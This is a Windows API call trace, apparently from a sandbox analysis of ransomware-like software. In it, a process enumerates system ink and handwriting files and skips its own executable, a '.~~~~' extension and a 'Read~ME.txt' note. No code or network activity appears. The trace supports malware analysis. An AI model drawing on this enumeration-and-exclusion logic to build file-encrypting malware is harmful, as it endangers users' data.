	[0068.572] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.572] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.572] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.572] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.572] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.572] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.572] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.572] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0068.572] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5bd0
	[0068.572] GetCurrentThreadId () returned 0x618
	[0068.572] RtlWakeConditionVariable () returned 0x365f48
	[0068.572] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1
	[0068.572] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="Windows") returned -1
	[0068.572] lstrcmpW (lpString1="hwrenalm.dat", lpString2="oiikyy.exe") returned -1
	[0068.572] StrStrW (lpFirst="hwrenalm.dat", lpSrch=".~~~~") returned 0x0
	[0068.572] lstrcmpW (lpString1="hwrenalm.dat", lpString2="Read~ME.txt") returned -1
	[0068.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.572] GetCurrentThreadId () returned 0x618
	[0068.572] RtlWakeConditionVariable () returned 0x365f48
	[0068.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0068.573] lstrcmpiW (lpString1="hwrenclm.dat", lpString2="Windows") returned -1
	[0068.573] lstrcmpW (lpString1="hwrenclm.dat", lpString2="oiikyy.exe") returned -1
	[0068.573] StrStrW (lpFirst="hwrenclm.dat", lpSrch=".~~~~") returned 0x0
	[0068.573] lstrcmpW (lpString1="hwrenclm.dat", lpString2="Read~ME.txt") returned -1
	[0068.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.573] GetCurrentThreadId () returned 0x618
	[0068.573] RtlWakeConditionVariable () returned 0x365f48
	[0068.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1
	[0068.573] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2="Windows") returned -1
	[0068.573] lstrcmpW (lpString1="hwrlatinlm.dat", lpString2="oiikyy.exe") returned -1
	[0068.573] StrStrW (lpFirst="hwrlatinlm.dat", lpSrch=".~~~~") returned 0x0
	[0068.573] lstrcmpW (lpString1="hwrlatinlm.dat", lpString2="Read~ME.txt") returned -1
	[0068.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.573] GetCurrentThreadId () returned 0x618
	[0068.573] RtlWakeConditionVariable () returned 0x365f48
	[0068.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1
	[0068.573] lstrcmpiW (lpString1="hwruklm.dat", lpString2="Windows") returned -1
	[0068.573] lstrcmpW (lpString1="hwruklm.dat", lpString2="oiikyy.exe") returned -1
	[0068.573] StrStrW (lpFirst="hwruklm.dat", lpSrch=".~~~~") returned 0x0
	[0068.573] lstrcmpW (lpString1="hwruklm.dat", lpString2="Read~ME.txt") returned -1
	[0068.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.573] GetCurrentThreadId () returned 0x618
	[0068.573] RtlWakeConditionVariable () returned 0x365f48
	[0068.573] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1
	[0068.573] lstrcmpiW (lpString1="hwruksh.dat", lpString2="Windows") returned -1
	[0068.573] lstrcmpW (lpString1="hwruksh.dat", lpString2="oiikyy.exe") returned -1
	[0068.573] StrStrW (lpFirst="hwruksh.dat", lpSrch=".~~~~") returned 0x0
	[0068.573] lstrcmpW (lpString1="hwruksh.dat", lpString2="Read~ME.txt") returned -1
	[0068.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.574] GetCurrentThreadId () returned 0x618
	[0068.574] RtlWakeConditionVariable () returned 0x365f48
	[0068.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1
	[0068.574] lstrcmpiW (lpString1="hwrusalm.dat", lpString2="Windows") returned -1
	[0068.574] lstrcmpW (lpString1="hwrusalm.dat", lpString2="oiikyy.exe") returned -1
	[0068.574] StrStrW (lpFirst="hwrusalm.dat", lpSrch=".~~~~") returned 0x0
	[0068.574] lstrcmpW (lpString1="hwrusalm.dat", lpString2="Read~ME.txt") returned -1
	[0068.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.574] GetCurrentThreadId () returned 0x618
	[0068.574] RtlWakeConditionVariable () returned 0x365f48
	[0068.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1
	[0068.574] lstrcmpiW (lpString1="hwrusash.dat", lpString2="Windows") returned -1
	[0068.574] lstrcmpW (lpString1="hwrusash.dat", lpString2="oiikyy.exe") returned -1
	[0068.574] StrStrW (lpFirst="hwrusash.dat", lpSrch=".~~~~") returned 0x0
	[0068.574] lstrcmpW (lpString1="hwrusash.dat", lpString2="Read~ME.txt") returned -1
	[0068.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.574] GetCurrentThreadId () returned 0x618
	[0068.574] RtlWakeConditionVariable () returned 0x365f48
	[0068.574] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0068.574] lstrcmpiW (lpString1="InkDiv.dll", lpString2="Windows") returned -1
	[0068.574] lstrcmpW (lpString1="InkDiv.dll", lpString2="oiikyy.exe") returned -1
	[0068.574] StrStrW (lpFirst="InkDiv.dll", lpSrch=".~~~~") returned 0x0
	[0068.574] lstrcmpW (lpString1="InkDiv.dll", lpString2="Read~ME.txt") returned -1
	[0068.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.574] GetCurrentThreadId () returned 0x618
	[0068.574] RtlWakeConditionVariable () returned 0x365f48
	[0068.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1
	[0068.575] lstrcmpiW (lpString1="InkObj.dll", lpString2="Windows") returned -1
	[0068.575] lstrcmpW (lpString1="InkObj.dll", lpString2="oiikyy.exe") returned -1
	[0068.575] StrStrW (lpFirst="InkObj.dll", lpSrch=".~~~~") returned 0x0
	[0068.575] lstrcmpW (lpString1="InkObj.dll", lpString2="Read~ME.txt") returned -1
	[0068.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.575] GetCurrentThreadId () returned 0x618
	[0068.575] RtlWakeConditionVariable () returned 0x365f48
	[0068.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1
	[0068.575] lstrcmpiW (lpString1="InkWatson.exe", lpString2="Windows") returned -1
	[0068.575] lstrcmpW (lpString1="InkWatson.exe", lpString2="oiikyy.exe") returned -1
	[0068.575] StrStrW (lpFirst="InkWatson.exe", lpSrch=".~~~~") returned 0x0
	[0068.575] lstrcmpW (lpString1="InkWatson.exe", lpString2="Read~ME.txt") returned -1
	[0068.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.575] GetCurrentThreadId () returned 0x618
	[0068.575] RtlWakeConditionVariable () returned 0x365f48
	[0068.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1
	[0068.575] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2="Windows") returned -1
	[0068.575] lstrcmpW (lpString1="InputPersonalization.exe", lpString2="oiikyy.exe") returned -1
	[0068.575] StrStrW (lpFirst="InputPersonalization.exe", lpSrch=".~~~~") returned 0x0
	[0068.575] lstrcmpW (lpString1="InputPersonalization.exe", lpString2="Read~ME.txt") returned -1
	[0068.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.575] GetCurrentThreadId () returned 0x618
	[0068.575] RtlWakeConditionVariable () returned 0x365f48
	[0068.575] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1
	[0068.575] lstrcmpiW (lpString1="ipscat.xml", lpString2="Windows") returned -1
	[0068.575] lstrcmpW (lpString1="ipscat.xml", lpString2="oiikyy.exe") returned -1
	[0068.575] StrStrW (lpFirst="ipscat.xml", lpSrch=".~~~~") returned 0x0
	[0068.576] lstrcmpW (lpString1="ipscat.xml", lpString2="Read~ME.txt") returned -1
	[0068.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.576] GetCurrentThreadId () returned 0x618
	[0068.576] RtlWakeConditionVariable () returned 0x365f48
	[0068.576] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0068.576] lstrcmpiW (lpString1="ipschs.xml", lpString2="Windows") returned -1
	[0068.576] lstrcmpW (lpString1="ipschs.xml", lpString2="oiikyy.exe") returned -1
	[0068.576] StrStrW (lpFirst="ipschs.xml", lpSrch=".~~~~") returned 0x0
	[0068.576] lstrcmpW (lpString1="ipschs.xml", lpString2="Read~ME.txt") returned -1
	[0068.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.576] GetCurrentThreadId () returned 0x618
	[0068.576] RtlWakeConditionVariable () returned 0x365f48
	[0068.576] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0068.577] lstrcmpiW (lpString1="ipscht.xml", lpString2="Windows") returned -1
	[0068.577] lstrcmpW (lpString1="ipscht.xml", lpString2="oiikyy.exe") returned -1
	[0068.577] StrStrW (lpFirst="ipscht.xml", lpSrch=".~~~~") returned 0x0
	[0068.577] lstrcmpW (lpString1="ipscht.xml", lpString2="Read~ME.txt") returned -1
	[0068.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.577] GetCurrentThreadId () returned 0x618
	[0068.577] RtlWakeConditionVariable () returned 0x365f48
	[0068.577] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0068.577] lstrcmpiW (lpString1="ipscsy.xml", lpString2="Windows") returned -1
	[0068.577] lstrcmpW (lpString1="ipscsy.xml", lpString2="oiikyy.exe") returned -1
	[0068.577] StrStrW (lpFirst="ipscsy.xml", lpSrch=".~~~~") returned 0x0
	[0068.577] lstrcmpW (lpString1="ipscsy.xml", lpString2="Read~ME.txt") returned -1
	[0068.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.577] GetCurrentThreadId () returned 0x618
	[0068.577] RtlWakeConditionVariable () returned 0x365f48
	[0068.577] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1
	[0068.577] lstrcmpiW (lpString1="ipsdan.xml", lpString2="Windows") returned -1
	[0068.577] lstrcmpW (lpString1="ipsdan.xml", lpString2="oiikyy.exe") returned -1
	[0068.577] StrStrW (lpFirst="ipsdan.xml", lpSrch=".~~~~") returned 0x0
	[0068.577] lstrcmpW (lpString1="ipsdan.xml", lpString2="Read~ME.txt") returned -1
	[0068.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.577] GetCurrentThreadId () returned 0x618
	[0068.577] RtlWakeConditionVariable () returned 0x365f48
	[0068.577] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1
	[0068.578] lstrcmpiW (lpString1="ipsdeu.xml", lpString2="Windows") returned -1
	[0068.578] lstrcmpW (lpString1="ipsdeu.xml", lpString2="oiikyy.exe") returned -1
	[0068.578] StrStrW (lpFirst="ipsdeu.xml", lpSrch=".~~~~") returned 0x0
	[0068.578] lstrcmpW (lpString1="ipsdeu.xml", lpString2="Read~ME.txt") returned -1
	[0068.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.578] GetCurrentThreadId () returned 0x618
	[0068.578] RtlWakeConditionVariable () returned 0x365f48
	[0068.578] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1
	[0068.578] lstrcmpiW (lpString1="ipsen.xml", lpString2="Windows") returned -1
	[0068.578] lstrcmpW (lpString1="ipsen.xml", lpString2="oiikyy.exe") returned -1
	[0068.578] StrStrW (lpFirst="ipsen.xml", lpSrch=".~~~~") returned 0x0
	[0068.578] lstrcmpW (lpString1="ipsen.xml", lpString2="Read~ME.txt") returned -1
	[0068.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.578] GetCurrentThreadId () returned 0x618
	[0068.578] RtlWakeConditionVariable () returned 0x365f48
	[0068.578] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1
	[0068.578] lstrcmpiW (lpString1="ipsesp.xml", lpString2="Windows") returned -1
	[0068.578] lstrcmpW (lpString1="ipsesp.xml", lpString2="oiikyy.exe") returned -1
	[0068.578] StrStrW (lpFirst="ipsesp.xml", lpSrch=".~~~~") returned 0x0
	[0068.578] lstrcmpW (lpString1="ipsesp.xml", lpString2="Read~ME.txt") returned -1
	[0068.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.578] GetCurrentThreadId () returned 0x618
	[0068.578] RtlWakeConditionVariable () returned 0x365f48
	[0068.579] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1
	[0068.579] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2="Windows") returned -1
	[0068.579] lstrcmpW (lpString1="IPSEventLogMsg.dll", lpString2="oiikyy.exe") returned -1
	[0068.579] StrStrW (lpFirst="IPSEventLogMsg.dll", lpSrch=".~~~~") returned 0x0
	[0068.579] lstrcmpW (lpString1="IPSEventLogMsg.dll", lpString2="Read~ME.txt") returned -1
	[0068.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0068.579] GetCurrentThreadId () returned 0x618
	[0068.579] RtlWakeConditionVariable () returned 0x365f48
	[0068.579] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1
	[0068.579] lstrcmpiW (lpString1="ipsfin.xml", lpString2="Windows") returned -1
	[0068.579] lstrcmpW (lpString1="ipsfin.xml", lpString2="oiikyy.exe") returned -1
	[0068.579] StrStrW (lpFirst="ipsfin.xml", lpSrch=".~~~~") returned 0x0
	[0068.579] lstrcmpW (lpString1="ipsfin.xml", lpString2="Read~ME.txt") returned -1
	[0068.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.579] GetCurrentThreadId () returned 0x618
	[0068.579] RtlWakeConditionVariable () returned 0x365f48
	[0068.579] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1
	[0068.579] lstrcmpiW (lpString1="ipsfra.xml", lpString2="Windows") returned -1
	[0068.579] lstrcmpW (lpString1="ipsfra.xml", lpString2="oiikyy.exe") returned -1
	[0068.580] StrStrW (lpFirst="ipsfra.xml", lpSrch=".~~~~") returned 0x0
	[0068.580] lstrcmpW (lpString1="ipsfra.xml", lpString2="Read~ME.txt") returned -1
	[0068.580] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.580] GetCurrentThreadId () returned 0x618
	[0068.580] RtlWakeConditionVariable () returned 0x365f48
	[0068.580] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1
	[0068.580] lstrcmpiW (lpString1="ipshrv.xml", lpString2="Windows") returned -1
	[0068.580] lstrcmpW (lpString1="ipshrv.xml", lpString2="oiikyy.exe") returned -1
	[0068.580] StrStrW (lpFirst="ipshrv.xml", lpSrch=".~~~~") returned 0x0
